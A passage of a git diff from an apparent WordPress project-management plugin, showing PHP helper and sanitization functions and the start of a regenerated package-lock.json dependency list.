\WeDevs\PM\User\Helper\User::get_results( $params ); +} + +/** + * check the query is single data or not + * @param array|string $params + * @return [type] + */ +function pm_is_single_query( $params ) { + if ( empty( $params['id'] ) ) { + return false; + } + + if ( is_array( $params['id'] ) ) { + return false; + } + + $id = pm_get_prepare_data( $params['id'] ); + + if ( count( $id ) == 1 ) { + return true; + } + + return false; +} + +function pm_api_namespace() { + return config( 'app.slug' ) . '/v' . config( 'app.api' ); +} + +function pm_current_user_can_update_core() { + if ( is_multisite() ) { + if ( is_main_site() && current_user_can( 'activate_plugins' ) ) { + return true; + } else { + return false; + } + } + + if ( current_user_can( 'activate_plugins' ) ) { + return true; + } + + return false; +} + +/** + * check value for boolean + * + * @param string|boolean $val + * + * @return [type] + */ +function pm_is_true ( $val ) { + + if ( is_string( $val ) ) { + return $val == 'true' || $val == '1' ? true : false; + } + + return (int) $val ? true : false; +} + +/** + * [pm_pro_progress_page_slug description] + * @return [type] + */ +function pm_admin_cap_slug() { + return apply_filters( 'pm_admin_capability_slug', 'pm_admin' ); +} + +/** + * [pm_pro_reports_page_slug description] + * @return [type] + */ +function pm_manager_cap_slug() { + return apply_filters( 'pm_manager_capability_slug', 'pm_manager' ); +} + +/** + * [pm_pro_menu_access_capabilities description] + * @param boolean $cap + * @return [type] + */ +function pm_access_capabilities( $cap = false ) { + $caps = [ + pm_admin_cap_slug() => __( 'PM Admin', 'wedevs-project-manager' ), + pm_manager_cap_slug() => __( 'PM Manager', 'wedevs-project-manager' ), + ]; + + $caps = apply_filters( 'pm_access_capabilities', $caps ); + + return empty( $cap ) ? $caps : $caps[$cap]; +} diff --git a/libs/sanitization-filters.php b/libs/sanitization-filters.php index 79c41cbbb..027315f0a 100644 --- a/libs/sanitization-filters.php +++ b/libs/sanitization-filters.php @@ -1,17 +1,17 @@ - array( 'min_range' => 1 ) - ); - - if( filter_var( $value, FILTER_VALIDATE_INT, $filter_options ) !== FALSE) { - return true; - } - - return false; -} - -function pm_unique ($value, $args) { - // Listing all the variables - list($model, $collumn) = $args; - if ( empty( $collumn ) ) { - $collumn = 'title'; - } - - - $id = empty( $args[2] ) ? 0 : intval( $args[2] ); - - - $calssname = "WeDevs\PM\\" .$model. "\\Models\\" .$model; - if ( class_exists( $calssname ) ) { - return ! $calssname::where($collumn, $value )->where('id', '!=', $id)->exists(); - } - - return false; -} - + array( 'min_range' => 1 ) + ); + + if( filter_var( $value, FILTER_VALIDATE_INT, $filter_options ) !== FALSE) { + return true; + } + + return false; +} + +function pm_unique ($value, $args) { + // Listing all the variables + list($model, $collumn) = $args; + if ( empty( $collumn ) ) { + $collumn = 'title'; + } + + + $id = empty( $args[2] ) ? 0 : intval( $args[2] ); + + + $calssname = "WeDevs\PM\\" .$model. "\\Models\\" .$model; + if ( class_exists( $calssname ) ) { + return ! $calssname::where($collumn, $value )->where('id', '!=', $id)->exists(); + } + + return false; +} + diff --git a/package-lock.json b/package-lock.json index 15240ce11..447a67f68 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,50536 +1,62844 @@ -{ - "name": "pmapi", - "version": "2.5.0", - "lockfileVersion": 2, - "requires": true, - "packages": { - "": { - "name": "pmapi", - "version": "2.5.0", - "license": "ISC", - "dependencies": { - "@wordpress/url": "^2.15.0", - "babel-preset-stage-2": "^6.24.1", - "chart.js": "^2.7.1", - "classnames": "^2.2.6", - "fullcalendar": "3.6.2", - "jquery-timepicker": "^1.3.3", - "lodash": "^4.17.15", - "moment": "^2.19.1", - "moment-timezone": "^0.5.13", - "nprogress": "^0.2.0", - "toastr": "^2.1.2", - "underscore": "^1.10.2", - "v-autocomplete": "^1.8.2", - "vue": "^2.5.2", - "vue-color": "^2.4.5", - "vue-fragment": "^1.5.1", - "vue-fullscreen": "^2.1.5", - "vue-multiselect": "^2.0.3", - "vue-popperjs": "^1.6.3", - "vue-router": "^3.0.1", - "vue2-daterange-picker": "^0.5.1", - "vuex": "^3.0.0" - }, - "devDependencies": { - "@babel/cli": "^7.10.5", - "@babel/preset-env": "^7.10.4", - "@wordpress/dependency-extraction-webpack-plugin": "^2.8.0", - "@wordpress/hooks": "^2.0.5", - "ajv": "^5.2.2", - "ajv-keywords": "^2.1.0", - "babel-cli": "^6.26.0", - "babel-core": "^6.26.0", - "babel-loader": "^7.1.5", - "babel-plugin-syntax-dynamic-import": "^6.18.0", - "babel-plugin-transform-object-rest-spread": "^6.26.0", - "babel-plugin-transform-runtime": "^6.23.0", - "babel-preset-env": "^1.6.1", - "babel-preset-es2015": "^6.24.1", - "babel-preset-react": "^6.24.1", - "cli": "^1.0.1", - "codeceptjs": "^2.2.0", - "coffee-loader": "^0.8.0", - "coffeescript": "^1.12.7", - "cross-env": "^5.2.0", - "css-loader": "^0.28.7", - "due": "0.0.18", - "es6-promise": "^4.2.4", - "eslint": "^4.5.0", - "eslint-loader": "^1.9.0", - "extract-text-webpack-plugin": "^3.0.2", - "file-loader": "^0.11.2", - "grunt": "^1.0.3", - "grunt-browserify": "^5.3.0", - "grunt-contrib-clean": "^1.0.0", - "grunt-contrib-compress": "^1.4.1", - "grunt-contrib-concat": "^1.0.1", - "grunt-contrib-copy": "^1.0.0", - "grunt-contrib-jshint": "^1.1.0", - "grunt-contrib-less": "^2.0.0", - "grunt-contrib-watch": "^1.1.0", - "grunt-run": "^0.8.0", - "grunt-ssh": "^0.12.9", - "grunt-text-replace": "^0.4.0", - "grunt-wp-i18n": "^1.0.2", - "jed": "^1.1.1", - "less": "^3.7.1", - "less-loader": "^4.1.0", - "lodash": "^4.17.19", - "node-sass": "^4.13.1", - "npm": "^6.2.0", - "optimize-css-assets-webpack-plugin": "^5.0.0", - "partialify": "^3.1.6", - "promise-polyfill": "^6.0.2", - "pug": "^3.0.1", - "react": "^15.6.1", - "rimraf": "^2.6.1", - "sass-loader": "^6.0.6", - "shx": "^0.2.2", - "style-loader": "^0.19.1", - "uglify-js": "^3.4.4", - "uglifyjs-webpack-plugin": "^1.2.4", - "url-loader": "^1.1.2", - "vue-loader": "^13.0.4", - "vue-template-compiler": "^2.4.2", - "watch": "^1.0.2", - "webpack": "^3.12.0", - "wp-vue-i18n": "^1.1.3" - } - }, - "node_modules/@babel/cli": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/cli/-/cli-7.10.5.tgz", - "integrity": "sha512-j9H9qSf3kLdM0Ao3aGPbGZ73mEA9XazuupcS6cDGWuiyAcANoguhP0r2Lx32H5JGw4sSSoHG3x/mxVnHgvOoyA==", - "dev": true, - "dependencies": { - "commander": "^4.0.1", - "convert-source-map": "^1.1.0", - "fs-readdir-recursive": "^1.1.0", - "glob": "^7.0.0", - "lodash": "^4.17.19", - "make-dir": "^2.1.0", - "slash": "^2.0.0", - "source-map": "^0.5.0" - }, - "bin": { - "babel": "bin/babel.js", - "babel-external-helpers": "bin/babel-external-helpers.js" - }, - "optionalDependencies": { - "chokidar": "^2.1.8" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/cli/node_modules/anymatch": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz", - "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", - "dev": true, - "optional": true, - "dependencies": { - "micromatch": "^3.1.4", - "normalize-path": "^2.1.1" - } - }, - "node_modules/@babel/cli/node_modules/anymatch/node_modules/normalize-path": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz", - "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=", - "dev": true, - "optional": true, - "dependencies": { - "remove-trailing-separator": "^1.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/arr-diff": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", - "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", - "dev": true, - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/arr-flatten": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz", - "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==", - "dev": true, - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/array-unique": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", - "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", - "dev": true, - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/braces": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", - "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", - "dev": true, - "optional": true, - "dependencies": { - "arr-flatten": "^1.1.0", - "array-unique": "^0.3.2", - "extend-shallow": "^2.0.1", - "fill-range": "^4.0.0", - "isobject": "^3.0.1", - "repeat-element": "^1.1.2", - "snapdragon": "^0.8.1", - "snapdragon-node": "^2.0.1", - "split-string": "^3.0.2", - "to-regex": "^3.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/braces/node_modules/extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "optional": true, - "dependencies": { - "is-extendable": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/chokidar": { - "version": "2.1.8", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.1.8.tgz", - "integrity": "sha512-ZmZUazfOzf0Nve7duiCKD23PFSCs4JPoYyccjUFF3aQkQadqBhfzhjkwBH2mNOG9cTBwhamM37EIsIkZw3nRgg==", - "deprecated": "Chokidar 2 does not receive security updates since 2019. Upgrade to chokidar 3 with 15x fewer dependencies", - "dev": true, - "optional": true, - "dependencies": { - "anymatch": "^2.0.0", - "async-each": "^1.0.1", - "braces": "^2.3.2", - "glob-parent": "^3.1.0", - "inherits": "^2.0.3", - "is-binary-path": "^1.0.0", - "is-glob": "^4.0.0", - "normalize-path": "^3.0.0", - "path-is-absolute": "^1.0.0", - "readdirp": "^2.2.1", - "upath": "^1.1.1" - }, - "optionalDependencies": { - "fsevents": "^1.2.7" - } - }, - "node_modules/@babel/cli/node_modules/commander": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", - "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", - "dev": true, - "engines": { - "node": ">= 6" - } - }, - "node_modules/@babel/cli/node_modules/expand-brackets": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", - "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", - "dev": true, - "optional": true, - "dependencies": { - "debug": "^2.3.3", - "define-property": "^0.2.5", - "extend-shallow": "^2.0.1", - "posix-character-classes": "^0.1.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/expand-brackets/node_modules/define-property": { - "version": "0.2.5", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", - "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", - "dev": true, - "optional": true, - "dependencies": { - "is-descriptor": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/expand-brackets/node_modules/extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "optional": true, - "dependencies": { - "is-extendable": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/expand-brackets/node_modules/is-accessor-descriptor": { - "version": "0.1.6", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", - "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", - "dev": true, - "optional": true, - "dependencies": { - "kind-of": "^3.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/expand-brackets/node_modules/is-accessor-descriptor/node_modules/kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "optional": true, - "dependencies": { - "is-buffer": "^1.1.5" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/expand-brackets/node_modules/is-data-descriptor": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", - "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", - "dev": true, - "optional": true, - "dependencies": { - "kind-of": "^3.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/expand-brackets/node_modules/is-data-descriptor/node_modules/kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "optional": true, - "dependencies": { - "is-buffer": "^1.1.5" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/expand-brackets/node_modules/is-descriptor": { - "version": "0.1.6", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", - "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", - "dev": true, - "optional": true, - "dependencies": { - "is-accessor-descriptor": "^0.1.6", - "is-data-descriptor": "^0.1.4", - "kind-of": "^5.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/expand-brackets/node_modules/kind-of": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", - "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", - "dev": true, - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/extglob": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", - "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", - "dev": true, - "optional": true, - "dependencies": { - "array-unique": "^0.3.2", - "define-property": "^1.0.0", - "expand-brackets": "^2.1.4", - "extend-shallow": "^2.0.1", - "fragment-cache": "^0.2.1", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/extglob/node_modules/define-property": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", - "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", - "dev": true, - "optional": true, - "dependencies": { - "is-descriptor": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/extglob/node_modules/extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "optional": true, - "dependencies": { - "is-extendable": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/fill-range": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", - "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", - "dev": true, - "optional": true, - "dependencies": { - "extend-shallow": "^2.0.1", - "is-number": "^3.0.0", - "repeat-string": "^1.6.1", - "to-regex-range": "^2.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/fill-range/node_modules/extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "optional": true, - "dependencies": { - "is-extendable": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/fsevents": { - "version": "1.2.13", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.13.tgz", - "integrity": "sha512-oWb1Z6mkHIskLzEJ/XWX0srkpkTQ7vaopMQkyaEIoq0fmtFVxOthb8cCxeT+p3ynTdkk/RZwbgG4brR5BeWECw==", - "deprecated": "fsevents 1 will break on node v14+ and could be using insecure binaries. Upgrade to fsevents 2.", - "dev": true, - "hasInstallScript": true, - "optional": true, - "os": [ - "darwin" - ], - "dependencies": { - "bindings": "^1.5.0", - "nan": "^2.12.1" - }, - "engines": { - "node": ">= 4.0" - } - }, - "node_modules/@babel/cli/node_modules/glob-parent": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz", - "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", - "dev": true, - "optional": true, - "dependencies": { - "is-glob": "^3.1.0", - "path-dirname": "^1.0.0" - } - }, - "node_modules/@babel/cli/node_modules/glob-parent/node_modules/is-glob": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz", - "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", - "dev": true, - "optional": true, - "dependencies": { - "is-extglob": "^2.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/is-accessor-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", - "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", - "dev": true, - "optional": true, - "dependencies": { - "kind-of": "^6.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/is-data-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", - "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", - "dev": true, - "optional": true, - "dependencies": { - "kind-of": "^6.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/is-descriptor": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", - "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", - "dev": true, - "optional": true, - "dependencies": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/is-extglob": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", - "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", - "dev": true, - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/is-glob": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz", - "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==", - "dev": true, - "optional": true, - "dependencies": { - "is-extglob": "^2.1.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/is-number": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", - "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", - "dev": true, - "optional": true, - "dependencies": { - "kind-of": "^3.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/is-number/node_modules/kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "optional": true, - "dependencies": { - "is-buffer": "^1.1.5" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true, - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/kind-of": { - "version": "6.0.3", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", - "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", - "dev": true, - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/make-dir": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz", - "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==", - "dev": true, - "dependencies": { - "pify": "^4.0.1", - "semver": "^5.6.0" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/@babel/cli/node_modules/micromatch": { - "version": "3.1.10", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", - "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", - "dev": true, - "optional": true, - "dependencies": { - "arr-diff": "^4.0.0", - "array-unique": "^0.3.2", - "braces": "^2.3.1", - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "extglob": "^2.0.4", - "fragment-cache": "^0.2.1", - "kind-of": "^6.0.2", - "nanomatch": "^1.2.9", - "object.pick": "^1.3.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/nan": { - "version": "2.14.1", - "resolved": "https://registry.npmjs.org/nan/-/nan-2.14.1.tgz", - "integrity": "sha512-isWHgVjnFjh2x2yuJ/tj3JbwoHu3UC2dX5G/88Cm24yB6YopVgxvBObDY7n5xW6ExmFhJpSEQqFPvq9zaXc8Jw==", - "dev": true, - "optional": true - }, - "node_modules/@babel/cli/node_modules/normalize-path": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", - "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", - "dev": true, - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@babel/cli/node_modules/pify": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", - "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", - "dev": true, - "engines": { - "node": ">=6" - } - }, - "node_modules/@babel/cli/node_modules/readdirp": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.2.1.tgz", - "integrity": "sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==", - "dev": true, - "optional": true, - "dependencies": { - "graceful-fs": "^4.1.11", - "micromatch": "^3.1.10", - "readable-stream": "^2.0.2" - }, - "engines": { - "node": ">=0.10" - } - }, - "node_modules/@babel/cli/node_modules/semver": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", - "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", - "dev": true, - "bin": { - "semver": "bin/semver" - } - }, - "node_modules/@babel/cli/node_modules/slash": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/slash/-/slash-2.0.0.tgz", - "integrity": "sha512-ZYKh3Wh2z1PpEXWr0MpSBZ0V6mZHAQfYevttO11c51CaWjGTaadiKZ+wVt1PbMlDV5qhMFslpZCemhwOK7C89A==", - "dev": true, - "engines": { - "node": ">=6" - } - }, - "node_modules/@babel/cli/node_modules/upath": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz", - "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==", - "dev": true, - "optional": true, - "engines": { - "node": ">=4", - "yarn": "*" - } - }, - "node_modules/@babel/code-frame": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.10.4.tgz", - "integrity": "sha512-vG6SvB6oYEhvgisZNFRmRCUkLz11c7rp+tbNTynGqc6mS1d5ATd/sGyV6W0KZZnXRKMTzZDRgQT3Ou9jhpAfUg==", - "dev": true, - "dependencies": { - "@babel/highlight": "^7.10.4" - } - }, - "node_modules/@babel/compat-data": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.10.5.tgz", - "integrity": "sha512-mPVoWNzIpYJHbWje0if7Ck36bpbtTvIxOi9+6WSK9wjGEXearAqlwBoTQvVjsAY2VIwgcs8V940geY3okzRCEw==", - "dev": true, - "dependencies": { - "browserslist": "^4.12.0", - "invariant": "^2.2.4", - "semver": "^5.5.0" - } - }, - "node_modules/@babel/compat-data/node_modules/browserslist": { - "version": "4.13.0", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.13.0.tgz", - "integrity": "sha512-MINatJ5ZNrLnQ6blGvePd/QOz9Xtu+Ne+x29iQSCHfkU5BugKVJwZKn/iiL8UbpIpa3JhviKjz+XxMo0m2caFQ==", - "dev": true, - "dependencies": { - "caniuse-lite": "^1.0.30001093", - "electron-to-chromium": "^1.3.488", - "escalade": "^3.0.1", - "node-releases": "^1.1.58" - }, - "bin": { - "browserslist": "cli.js" - }, - "engines": { - "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" - }, - "funding": { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/browserslist" - } - }, - "node_modules/@babel/compat-data/node_modules/caniuse-lite": { - "version": "1.0.30001100", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001100.tgz", - "integrity": "sha512-0eYdp1+wFCnMlCj2oudciuQn2B9xAFq3WpgpcBIZTxk/1HNA/O2YA7rpeYhnOqsqAJq1AHUgx6i1jtafg7m2zA==", - "dev": true - }, - "node_modules/@babel/compat-data/node_modules/electron-to-chromium": { - "version": "1.3.498", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.498.tgz", - "integrity": "sha512-W1hGwaQEU8j9su2jeAr3aabkPuuXw+j8t73eajGAkEJWbfWiwbxBwQN/8Qmv2qCy3uCDm2rOAaZneYQM8VGC4w==", - "dev": true - }, - "node_modules/@babel/compat-data/node_modules/node-releases": { - "version": "1.1.59", - "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.1.59.tgz", - "integrity": "sha512-H3JrdUczbdiwxN5FuJPyCHnGHIFqQ0wWxo+9j1kAXAzqNMAHlo+4I/sYYxpyK0irQ73HgdiyzD32oqQDcU2Osw==", - "dev": true - }, - "node_modules/@babel/generator": { - "version": "7.10.5", - "resolved": 